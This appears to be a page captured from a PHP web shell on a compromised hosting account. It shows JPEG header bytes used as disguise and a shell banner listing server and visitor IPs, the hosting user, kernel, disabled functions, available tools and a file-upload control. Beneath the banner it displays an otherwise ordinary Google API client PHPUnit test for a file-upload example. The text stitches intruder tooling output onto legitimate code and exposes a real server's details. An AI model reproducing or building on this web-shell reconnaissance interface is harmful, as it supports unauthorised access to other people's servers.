ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/www/vendor/google/apiclient/tests/examples/ |
Upload File : |
<?php
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
namespace Google\Tests\Examples;
use Google\Tests\BaseTest;
class simpleFileUploadTest extends BaseTest
{
/**
* @runInSeparateProcess
*/
public function testSimpleFileUploadNoToken()
{
$this->checkServiceAccountCredentials();
$crawler = $this->loadExample('simple-file-upload.php');
$nodes = $crawler->filter('h1');
$this->assertCount(1, $nodes);
$this->assertEquals('File Upload - Uploading a simple file', $nodes->first()->text());
$nodes = $crawler->filter('a.login');
$this->assertCount(1, $nodes);
$this->assertEquals('Connect Me!', $nodes->first()->text());
}
public function testSimpleFileUploadWithToken()
{
$this->checkToken();
global $_SESSION;
$_SESSION['upload_token'] = $this->getClient()->getAccessToken();
$crawler = $this->loadExample('simple-file-upload.php');
$buttonText = 'Click here to upload two small (1MB) test files';
$nodes = $crawler->filter('input');
$this->assertCount(1, $nodes);
$this->assertEquals($buttonText, $nodes->first()->attr('value'));
}
}